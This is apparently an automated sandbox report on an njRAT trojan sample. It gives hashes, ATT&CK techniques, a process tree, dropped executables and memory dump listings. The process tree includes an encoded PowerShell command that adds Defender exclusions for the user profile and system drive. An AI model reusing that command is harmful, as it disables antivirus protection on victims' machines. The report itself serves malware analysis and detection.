njrat | 4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90

Analysis

max time kernel
302s
max time network
308s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
31/10/2023, 05:16

Sharing

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General

Target

5.exe
Size

10.3MB
MD5

b739c3eba37aa9999fb2d15ab5b9c680
SHA1

bb18cc561805efa38545310057bcae4e894d3817
SHA256

4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90
SHA512

0259b599a7e37426383184110aa828d0797875bab1925186b5b0ca0cb99ed2ae2bceb31f5c83ca3a8ba890bf86bb8cfa75f58d80db3b4ae710828f8ffb36c1ea
SSDEEP

196608:56wcPit+w7T+yuSLoGUpTKQ8LY+TRQf3goX3yCJdpHt:5jSKd/+yuQoGUlQepyCJ

Score

10^/10

njrat trojan

Malware Config

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	5.exe

Executes dropped EXE 2 IoCs

pid	Process
4888	Server.exe
4244	Global Ultra Loade PB [2023].exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3284	powershell.exe
3284	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4888	Server.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3284	powershell.exe
Token: SeDebugPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe
Token: 33	4888	Server.exe
Token: SeIncBasePriorityPrivilege	4888	Server.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 3284	1464	5.exe	94
PID 1464 wrote to memory of 3284	1464	5.exe	94
PID 1464 wrote to memory of 3284	1464	5.exe	94
PID 1464 wrote to memory of 4888	1464	5.exe	96
PID 1464 wrote to memory of 4888	1464	5.exe	96
PID 1464 wrote to memory of 4888	1464	5.exe	96
PID 1464 wrote to memory of 4244	1464	5.exe	97
PID 1464 wrote to memory of 4244	1464	5.exe	97

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAbQByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAZwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaQBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAbABqACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3284
- C:\Users\Admin\AppData\Local\Temp\Server.exe
  "C:\Users\Admin\AppData\Local\Temp\Server.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe
  "C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe"
  2⤵
  - Executes dropped EXE
  PID:4244

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gzvmwtdu.xli.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3284-80-0x0000000007390000-0x00000000073A1000-memory.dmp

Filesize
68KB

Download
memory/3284-43-0x00000000059C0000-0x0000000005A26000-memory.dmp

Filesize
408KB

Download
memory/3284-26-0x0000000005290000-0x00000000058B8000-memory.dmp

Filesize
6.2MB

Download
memory/3284-85-0x0000000007710000-0x0000000007718000-memory.dmp

Filesize
32KB

Download
memory/3284-84-0x0000000007730000-0x000000000774A000-memory.dmp

Filesize
104KB

Download
memory/3284-88-0x0000000073690000-0x0000000073E40000-memory.dmp

Filesize
7.7MB

Download
memory/3284-30-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3284-83-0x0000000007640000-0x0000000007654000-memory.dmp

Filesize
80KB

Download
memory/3284-82-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3284-81-0x0000000007630000-0x000000000763E000-memory.dmp

Filesize
56KB

Download
memory/3284-32-0x0000000004FF0000-0x0000000005012000-memory.dmp

Filesize
136KB

Download
memory/3284-61-0x000000006E820000-0x000000006E86C000-memory.dmp

Filesize
304KB

Download
memory/3284-35-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3284-78-0x0000000007670000-0x0000000007706000-memory.dmp

Filesize
600KB

Download
memory/3284-37-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/3284-24-0x0000000004AD0000-0x0000000004B06000-memory.dmp

Filesize
216KB

Download
memory/3284-22-0x0000000073690000-0x0000000073E40000-memory.dmp

Filesize
7.7MB

Download
memory/3284-44-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

Filesize
3.3MB

Download
memory/3284-77-0x0000000007440000-0x000000000744A000-memory.dmp

Filesize
40KB

Download
memory/3284-76-0x00000000073D0000-0x00000000073EA000-memory.dmp

Filesize
104KB

Download
memory/3284-51-0x00000000060D0000-0x00000000060EE000-memory.dmp

Filesize
120KB

Download
memory/3284-52-0x0000000006100000-0x000000000614C000-memory.dmp

Filesize
304KB

Download
memory/3284-75-0x0000000007A30000-0x00000000080AA000-memory.dmp

Filesize
6.5MB

Download
memory/3284-54-0x0000000073690000-0x0000000073E40000-memory.dmp

Filesize
7.7MB

Download
memory/3284-55-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3284-74-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/3284-72-0x0000000007080000-0x0000000007123000-memory.dmp

Filesize
652KB

Download
memory/3284-71-0x00000000065E0000-0x00000000065FE000-memory.dmp

Filesize
120KB

Download
memory/3284-59-0x0000000006600000-0x0000000006632000-memory.dmp

Filesize
200KB

Download
memory/3284-60-0x0000000004C50000-0x0000000004C60000-memory.dmp

Filesize
64KB

Download
memory/4244-29-0x0000000001440000-0x0000000001450000-memory.dmp

Filesize
64KB

Download
memory/4244-79-0x0000000001440000-0x0000000001450000-memory.dmp

Filesize
64KB

Download
memory/4244-57-0x00007FFECC4C0000-0x00007FFECCE61000-memory.dmp

Filesize
9.6MB

Download
memory/4244-28-0x00007FFECC4C0000-0x00007FFECCE61000-memory.dmp

Filesize
9.6MB

Download
memory/4244-27-0x000000001BBC0000-0x000000001BC66000-memory.dmp

Filesize
664KB

Download
memory/4244-53-0x0000000001440000-0x0000000001450000-memory.dmp

Filesize
64KB

Download
memory/4244-46-0x000000001C910000-0x000000001C95C000-memory.dmp

Filesize
304KB

Download
memory/4244-45-0x000000001BCB0000-0x000000001BCB8000-memory.dmp

Filesize
32KB

Download
memory/4244-36-0x00007FFECC4C0000-0x00007FFECCE61000-memory.dmp

Filesize
9.6MB

Download
memory/4244-58-0x0000000001440000-0x0000000001450000-memory.dmp

Filesize
64KB

Download
memory/4244-34-0x000000001C7B0000-0x000000001C84C000-memory.dmp

Filesize
624KB

Download
memory/4244-31-0x000000001C190000-0x000000001C65E000-memory.dmp

Filesize
4.8MB

Download
memory/4888-33-0x0000000000D70000-0x0000000000D80000-memory.dmp

Filesize
64KB

Download
memory/4888-56-0x00000000730D0000-0x0000000073681000-memory.dmp

Filesize
5.7MB

Download
memory/4888-73-0x0000000000D70000-0x0000000000D80000-memory.dmp

Filesize
64KB

Download
memory/4888-25-0x00000000730D0000-0x0000000073681000-memory.dmp

Filesize
5.7MB

Download
memory/4888-23-0x00000000730D0000-0x0000000073681000-memory.dmp

Filesize
5.7MB

Download